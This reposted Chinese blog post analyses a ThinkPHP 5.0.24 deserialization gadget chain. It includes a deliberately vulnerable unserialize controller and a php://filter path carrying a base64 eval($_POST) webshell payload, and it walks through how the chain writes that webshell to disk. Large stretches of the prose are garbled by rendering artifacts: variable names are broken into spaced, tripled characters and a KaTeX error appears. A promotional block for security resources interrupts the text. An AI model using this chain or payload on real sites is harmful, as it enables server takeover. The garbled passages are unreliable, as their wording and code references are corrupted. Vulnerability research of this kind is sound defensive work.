浅析安全反序列化漏洞

本文阅读 12 分钟

一、概述

对于这个漏洞的学习,有几个大体的思路,一是向大佬学习;二是找到可以利用的点,再不断构造合理的对象向这个点靠近;三是把几个子链分别构造好再连起来。

另外,查到的资料说这个漏洞并不是适用于所有的TP5.0.X版本,这里为了不产生歧义,只记成TP5.0.24版本。

二、分析

(一)环境搭建

Windows、PHPStudy(PHP5.6)、ThinkPHP5.0.24;

首先安装此版本的ThinkPHP,

composer create-project topthink/think tp 5.0.24

index controller改为

class Index
{
    public function index()
    {
        @unserialize($_GET['k']);
    }
}

调用栈如下,

File.php:160, think\cache\driver\File->set()
Memcache.php:94, think\session\driver\Memcache->write()
Output.php:154, think\console\Output->write()
Output.php:143, think\console\Output->writeln()
Output.php:124, think\console\Output->block()
Output.php:212, call_user_func_array()
Output.php:212, think\console\Output->__call()
Model.php:912, think\console\Output->getAttr()
Model.php:912, think\Model->toArray()
Model.php:936, think\Model->toJson()
Model.php:2267, think\Model->__toString()
Windows.php:163, file_exists()
Windows.php:163, think\process\pipes\Windows->removeFiles()
Windows.php:59, think\process\pipes\Windows->__destruct()
App.php:8, app\index\controller\Index->index()

(二)分析与调试

分为几个部分进行分析。

1.从Windows.removeFiles()到Model.toArray()

从Windows的__destruct开始看,

img

【一>所有资源获取<一】
1、电子书籍(白帽子)
2、安全大厂内部视频
3、100份src文档
4、常见安全面试题
5、ctf大赛经典题目解析
6、全套工具包
7、应急响应笔记
8、网络安全学习路线

close()中没有可以直接使用的点,removeFiless()中有file_exists()的判断,如果file_exists()的参数是一个对象,则会调用其对应类的__toString()方法,

img

thinkModel中有很好的__toString()方法,其中调用了toJson,toJson中调用了toArray。

img

这里需要注意,Model是个抽象类,没法直接从抽象类创建对象,它的意义在于被扩展,

img

经过搜索,可以选择Pivot与Merge两个类作为具体实现,选择哪一个对主干不会产生太大影响,但会对PoC的写法产生细微差别(个别字段的public与private属性),这里先选择Merge。

进入Model.toArray之后,就该考虑如何进一步调用到Output.__call()。

2.从Model.toArray到Output.__call()

从Model的toArray中,我们可以看到有若干个疑似可以利用的点,选择不同的触发点会对整个流程产生一定影响。此处选择$item[$key] = $value ? $value->getAttr($attr) : null;这一点。

img

接下来遇到一个很现实的问题,就是找到了这个点之后,怎么在$value有意义的前提下,保证程序可以在前面的若干行代码中不出错,进而顺利正常抵达这里。

(1)进入else

首先最高级的if和内部的大else前面的if和elseif较为直接,要求如下:t h i s − > a p p e n d 不 为 空 , this->append不为空, this−>append不为空,name不可为数组,n a m e 不 可 包 含 “ . ” 。 这 里 是 遍 历 name不可包含“.”。这里是遍历 name不可包含“.”。这里是遍历this->append数组,而这个数组是我们可控的,则对应的k e y 和 key和 key和name也都可控,故这里可以较为容易的走过。这一部分可以简单走过,重要的是else之中的隐藏的阻碍。

(2)parseName与进入if (method_exists($this, $relation))

首先跟进看Loader::parseName($name, 1, false);

img

功能是字符串命名风格转换,应该来讲没什么影响,r e l a t i o n 应 该 可 以 和 relation应该可以和 relation应该可以和name直接划等号。

接下来看如何使method_exists($this, r e l a t i o n ) 这 一 条 件 为 t r u e , 这 要 求 我 们 找 一 个 M o d e l 或 其 子 类 中 存 在 的 方 法 名 , 由 此 可 见 , 上 一 小 步 中 的 relation)这一条件为true,这要求我们找一个Model或其子类中存在的方法名,由此可见,上一小步中的 relation)这一条件为true,这要求我们找一个Model或其子类中存在的方法名,由此可见,上一小步中的this->append不能随意构造,应该放入一个合适的方法名。

(3)getRelationData

[](https://p1.ssl.qhimg.com/t018625b3da63228651.png)

可以看到,在判断t h i s 中 定 义 了 this中定义了 this中定义了relation函数后,便会调用这个函数,赋值给m o d e l R e l a t i o n 变 量 , 且 接 下 来 还 会 将 modelRelation变量,且接下来还会将 modelRelation变量,且接下来还会将this->getRelationData(m o d e l R e l a t i o n ) 赋 值 给 modelRelation)赋值给 modelRelation)赋值给value,v a l u e 将 在 ‘ value将在 value将在‘item[$key] = $value ? v a l u e − > g e t A t t r ( value->getAttr( value−>getAttr(attr) : null;这关键一行中发挥作用,这就要求我们找到一个具有优良性质的函数来串起这一切。

Model类中的getError方法具有逻辑简单、返回值直接可控的性质,没有比这个函数还好用的函数了,也许选别的也可以,但选这个准没错。

img

我们将t h i s − > a p p e n d 赋 值 为 [ ‘ g e t E r r o r ’ ] , this->append赋值为[‘getError’], this−>append赋值为[‘getError’],this->error的值可根据需要再行设定。

跟进看下一行的$value = $this->getRelationData($modelRelation);,

img

有一个比较严苛的条件if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent))。

首先t h i s − > p a r e n t 不 能 是 n u l l , 其 次 还 得 有 i s S e l f R e l a t i o n ( ) 和 g e t M o d e l ( ) 这 两 个 方 法 , 且 this->parent不能是null,其次还得有isSelfRelation()和getModel()这两个方法,且 this−>parent不能是null,其次还得有isSelfRelation()和getModel()这两个方法,且modelRelation->isSelfRelation()的返回值不为空,最后还有一个类型比较。

若想研究isSelfRelation()和getModel()这两个方法,得先保证m o d e l R e l a t i o n 有 这 两 个 方 法 , 否 则 就 不 用 研 究 这 两 个 函 数 了 。 另 外 , 根 据 上 面 的 构 造 的 分 析 , 我 们 知 道 modelRelation有这两个方法,否则就不用研究这两个函数了。另外,根据上面的构造的分析,我们知道 modelRelation有这两个方法,否则就不用研究这两个函数了。另外,根据上面的构造的分析,我们知道modelRelation实质上是t h i s − > e r r o r , this->error, this−>error,this->error的值便依此而定。

img

经过搜索发现,Relation类中有这两个方法的定义,但是和Model一样,Relation是个抽象类,我们需要寻找它的可用的子类。

看看另外两个函数。

img

其一返回Model的selfRelation,由于要加上逻辑否,这里设置为false即可;其二最终返回了t h i s − > q u e r y − > m o d e l 。 我 们 要 保 证 this->query->model。我们要保证 this−>query−>model。我们要保证this->query->model和t h i s − > p a r e n t 属 于 相 同 类 。 在 没 有 向 下 看 之 前 , 这 里 的 要 求 还 相 对 宽 松 , 大 概 只 能 推 测 出 this->parent属于相同类。在没有向下看之前,这里的要求还相对宽松,大概只能推测出 this−>parent属于相同类。在没有向下看之前,这里的要求还相对宽松,大概只能推测出this->error要是Relation的子类,v a l u e 的 值 由 value 的值由 value的值由this->parent决定这两点。

(4)method_exists($modelRelation, ‘getBindAttr’)

这算得上是这一子链的较为关键的一部分,

img

要想进入红色的触发点,必须保证m o d e l R e l a t i o n 中 存 在 g e t B i n d A t t r ( ) 方 法 , 且 modelRelation中存在getBindAttr()方法,且 modelRelation中存在getBindAttr()方法,且bindAttr要具有一定的性质。

上面提到m o d e l R e l a t i o n 实 际 上 是 modelRelation实际上是 modelRelation实际上是this->error,是我们可控的,且要是Relation的子类,

img

我们搜索发现,只有OnetoOne类中定义了getBindAttr()方法,

img

且查看后发现,此类是继承了Relation的抽象类,可以满足此一步和上一步的要求。

接下来要做的是找一个合适的OneToOne的子类。全局搜索,找到如下两个,

img

经过查看,这两个的相关属性和方法几乎一模一样,选择哪个应该都可以,只是PoC写的时候有所区分,这里选择HasOne。

由刚才的分析,我们知道,这一段中有两个举足轻重的变量:t h i s − > e r r o r ( 即 this->error(即 this−>error(即modelRelation)和t h i s − > v a l u e , 刚 才 我 们 的 分 析 主 要 集 中 在 能 够 保 证 抵 达 触 发 点 的 this->value,刚才我们的分析主要集中在能够保证抵达触发点的 this−>value,刚才我们的分析主要集中在能够保证抵达触发点的this->error上,至于触发点处的KaTeX parse error: Expected group after '_' at position 48: …,我们后面要使用Output._̲_call(),所以this->value必须为Output对象,

img

且由getRelationData()知,$this->parent应为Output对象。

因为还要过get_class($modelRelation->getModel()) == get_class($this->parent)这一道障碍,t h i s − > q u e r y − > m o d e l 也 应 和 this->query->model也应和 this−>query−>model也应和this->parent一样,是Output对象。class Query中天然带着m o d e l , 可 以 作 为 model,可以作为 model,可以作为this->query,其$model属性应为Output对象。

img

(5)$modelRelation->getBindAttr()

接下来要研究的是$bindAttr = $modelRelation->getBindAttr();这一句。

img

跟进可见,这一函数功能也是非常简单直接,我们可以直接控制$this->bindAttr为我们想要的对象。

img

首先t h i s − > b i n d A t t r 应 该 是 一 个 不 空 的 数 组 , 接 下 来 this->bindAttr应该是一个不空的数组,接下来 this−>bindAttr应该是一个不空的数组,接下来this->data直接为空即可保证能够进入else即可,这里重要的是v a l u e , 不 管 value,不管 value,不管attr是何值,只要能够触发Output->getAttr($attr)就会去调用__call方法,就能进入下面的环节了。

3.从Output.__call()到Memcached.write()

跟进Output.__call(),

img

在简单构造$this-&gt;styles后,就能进入call_user_func_array([Output, 'block'], $args),调用block方法,

img

接下来能否成功利用,就看Output的$this->handle->write了。

首先Output.handle是可控的,我们要找一个带有合适的write()方法的类。

搜索一下,发现了数个定义有write的类,

img

从中有没有比较合适的呢,经过学习可知,我们可以选择thinksessiondriverMemcached 类。Memcached的write() 中调用了 t h i s − > h a n d l e r − > s e t ( ) 方 法 , 且 this->handler->set()方法,且 this−>handler−>set()方法,且this->handler可控,再加上thinkcachedriverFile中的set() 方法可以写文件,故而选择Memcached。

$data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

4.Memcached.write()->File.set()

但当仔细观察时,我们会发现这个思路其实是存疑的:此处可以写入文件不假,但是否可以写入webshell有待考证,因为这里的$data未必是可控的。

img

向上找d a t a , 会 发 现 data,会发现 data,会发现data的值为定值true,这样一来,如果没有进一步方案,写入shell的想法就会失败。

这时如果我们接着往下看,会看到一句$this->setTagItem($filename)的代码,其将文件名f i l e n a m e 作 为 参 数 传 给 了 s e t T a g I t e m ( ) , 跟 进 s e t T a g I t e m ( filename作为参数传给了setTagItem(),跟进setTagItem( filename作为参数传给了setTagItem(),跟进setTagItem(name),

img

可以看到此处将f i l e n a m e 作 为 filename作为 filename作为value,又调用了一次$this->set()方法,也就是说,如果文件名构造得当,还是有机会写入webshell的。

而$filename的值是由getCacheKey产生的,跟进之。

img

可以看到,这个函数相对友好,有一个md5哈希操作和一个与$this->options[‘path’]的拼接操作,在一定条件下,最终的$filename基本上是可控可知的。但是要注意到$data是由$data = "<?phpn//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;这样一句产生的,应想办法解决掉这个exit(),另外如果是在Windows环境下写文件还需要将一些特殊符号转化掉,这里就涉及到一个较为深入的知识点了。令$this->options['path']为'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWycxJ10pOz8+/../a.php',。

img

如此,在第一次进入set()时,我们生成了一个文件名为

php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWycxJ10pOz8+/../a.phpc9a7cef7c410e3ea21c4287f392fd663.php,

内容为

<?php //000000000000 exit();?> b:1;的文件,

第二次由setTagItem($filename)进入set(),才是生成webshell的关键一步。

文件名为$this->options['path'].md5('tag_' . md5($this->tag)).'.php'即php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWycxJ10pOz8+/../a.php3b58a9545013e88c7186db11bb158c44.php的文件,其内容为<?php //000000000000 exit();?> s:154:"php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWycxJ10pOz8+/../a.phpc9a7cef7c410e3ea21c4287f392fd663.php";。

在过滤器的作用下,将写出webshell。

img

最后发送个想要的POST包即可。

img

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/kali_Ma/article/details/122604907
-- 展开阅读全文 --
KillDefender 的 Beacon 对象文件 PoC 实现
« 上一篇 02-09
Web安全—逻辑越权漏洞(BAC)
下一篇 » 03-13

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复